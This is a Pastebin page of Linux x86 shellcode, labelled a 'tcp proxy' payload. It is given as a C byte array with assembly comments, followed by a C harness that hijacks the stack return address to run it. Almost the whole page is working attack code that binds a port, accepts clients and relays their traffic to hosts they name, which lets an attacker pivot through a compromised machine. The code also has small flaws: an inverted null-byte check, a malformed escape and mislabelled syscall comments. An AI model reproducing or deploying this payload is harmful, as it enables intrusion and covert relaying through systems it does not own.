Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /********************************************************************
- linux/x86 tcp proxy shellcode st1ks upgrade 236 bytes ASM
- and code C++ version shell
- ********************************************************************/
- char shellcode[] = {
- //main:
- "\x31\xc0" // xor %eax,%eax
- "\x89\xc3" // mov %eax,%ebx
- "\x50" // push %eax
- "\x40" // inc %eax
- "\x50" // push %eax
- "\x40" // inc %eax
- "\x50" // push %eax
- "\x89\xe1" // mov %esp,%ecx
- "\xb0\x66" // mov $0x66,%al
- "\x89\xc7" // mov %eax,%edi
- "\x43" // inc %ebx
- "\xcd\x80" // int $0x80 ;socket
- "\x89\xc6" // mov %eax,%esi
- "\x89\xf8" // mov %edi,%eax
- "\x31\xd2" // xor %edx,%edx
- "\x52" // push %edx
- "\x52" // push %edx
- "\x52" // push %edx
- "\xba\xfd\xff\xfa\xff" // mov $0xfffafffd,%edx ;port info
- "\xf7\xd2" // not %edx
- "\x52" // push %edx
- "\x89\xe1" // mov %esp,%ecx
- "\x31\xd2" // xor %edx,%edx
- "\xb2\x10" // mov $0x10,%dl
- "\x52" // push %edx
- "\x51" // push %ecx
- "\x56" // push %esi
- "\x89\xe1" // mov %esp,%ecx
- "\x43" // inc %ebx
- "\xcd\x80" // int $0x80 ;bind
- "\x53" // push %ebx
- "\x56" // push %esi
- "\x89\xe1" // mov %esp,%ecx
- "\xb0\x66" // mov $0x66,%al
- "\xb3\x04" // mov $0x4,%bl
- "\xcd\x80" // int $0x80 ;listen
- "\x31\xc9" // xor %ecx,%ecx
- "\x41" // inc %ecx
- "\xb3\x11" // mov $0x11,%bl
- "\xb0\x30" // mov $0x30,%al
- "\xcd\x80" // int $0x80 ;signal
- //do_next_accept:
- "\x31\xc0" // xor %eax,%eax
- "\x50" // push %eax
- "\x50" // push %eax
- "\x56" // push %esi
- "\x89\xe1" // mov %esp,%ecx
- "\xb0\x66" // mov $0x66,%al
- "\x89\xc2" // mov %eax,%edx
- "\xb3\x05" // mov $0x5,%bl
- "\xcd\x80" // int $0x80 ;accept
- "\x89\xc7" // mov %eax,%edi
- "\x31\xc0" // xor %eax,%eax
- "\x50" // push %eax
- "\x40" // inc %eax
- "\x50" // push %eax
- "\x40" // inc %eax
- "\x50" // push %eax
- "\xcd\x80" // int $0x80 ;fork
- "\x85\xc0" // test %eax,%eax
- "\x75\xe2" // jne 8048398 <do_next_accept>
- "\x89\xe1" // mov %esp,%ecx
- "\xb0\x66" // mov $0x66,%al
- "\x89\xc3" // mov %eax,%ebx
- "\xb3\x01" // mov $0x1,%bl
- "\xcd\x80" // int $0x80 ;socket
- "\x89\xc6" // mov %eax,%esi
- "\xb0\x10" // mov $0x10,%al
- "\x29\xc4" // sub %eax,%esp
- "\x89\xe1" // mov %esp,%ecx
- "\x31\xc0" // xor %eax,%eax
- "\x50" // push %eax
- "\x52" // push %edx
- "\x51" // push %ecx
- "\x57" // push %edi
- "\x89\xe1" // mov %esp,%ecx
- "\xb0\x66" // mov $0x66,%al
- "\xb3\x0a" // mov $0xa,%bl
- "\xcd\x80" // int $0x80 ;recv
- "\xb0\x66" // mov $0x66,%al
- "\xb3\x03" // mov $0x3,%bl
- "\x89\x34\x24" // mov %esi,(%esp)
- "\xcd\x80" // int $0x80
- "\x85\xc0" // test %eax,%eax
- "\x74\x14" // jz ready_to_proxy
- //close:
- "\x89\xf3" // mov %esi,%ebx
- "\x31\xc0" // xor %eax,%eax
- "\xb0\x06" // mov $0x6,%al
- "\xcd\x80" // int $0x80 ;close
- "\x87\xf7" // xchg %esi,%edi
- "\x85\xc0" // test %eax,%eax
- "\x74\xf" // jz close
- //exit:
- "\x31\xc0" // xor %eax,%eax
- "\xb0\x01" // mov $0x1,%al
- "\xcd\x80" // int $0x80 ;recv
- //ready_to_proxy:
- "\x31\xdb" // xor %ebx,%ebx
- "\xb3\x10" // mov $0x10,%bl
- "\x01\xdc" // add %ebx,%esp
- "\x87\xf7" // xchg %esi,%edi
- "\x31\xc0" // xor %eax,%eax
- "\x50" // push %eax
- "\x56" // push %esi
- "\x89\xe3" // mov %esp,%ebx
- "\x31\xc9" // xor %ecx,%ecx
- "\x41" // inc %ecx
- "\x89\xca" // mov %ecx,%edx
- "\xb0\xa8" // mov $0xa8,%al
- "\xcd\x80" // int $0x80 ;connect
- "\x31\xc0" // xor %eax,%eax
- "\xb0\x40" // mov $0x40,%al
- "\x89\xe2" // mov %esp,%edx
- "\x50" // push %eax
- "\xb0\x08" // mov $0x8,%al
- "\x50" // push %eax
- "\x52" // push %edx
- "\x56" // push %esi
- "\x89\xe1" // mov %esp,%ecx
- "\x31\xdb" // xor %ebx,%ebx
- "\xb3\x0a" // mov $0xa,%bl
- //do_next_proxy:,
- "\x31\xc0" // xor %eax,%eax
- "\xb0\x66" // mov $0x66,%al
- "\xcd\x80" // int $0x80 ;send/recv
- "\x85\xc0" // test %eax,%eax
- "\x74\xb9" // jz close
- "\x89\xda" // mov %ebx,%edx
- "\xf6\xc2\x01" // test $0x1,%dl
- "\x75\xc6" // jnz ready_to_proxy
- //is_recv_call:
- "\x89\xc2" // mov %eax,%edx
- "\xd1\xe2" // shl %edx
- "\x72\xc0" // jb ready_to_proxy
- "\x89\x41\x08" // mov %eax,0x8(%ecx)
- "\x89\x39" // mov %edi,(%ecx)
- "\x4b" // dec %ebx
- "\xeb\xe1" // jmp do_next_proxy
- };
- int main() {
- int *ret;
- char cnull = 0;
- printf("shellcode_size: %u\n", sizeof(shellcode));
- printf("contains nulls: ");
- if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
- printf("yes\n");
- }else{
- printf("no\n");
- }
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
Advertisement
Add Comment
Please, Sign In to add comment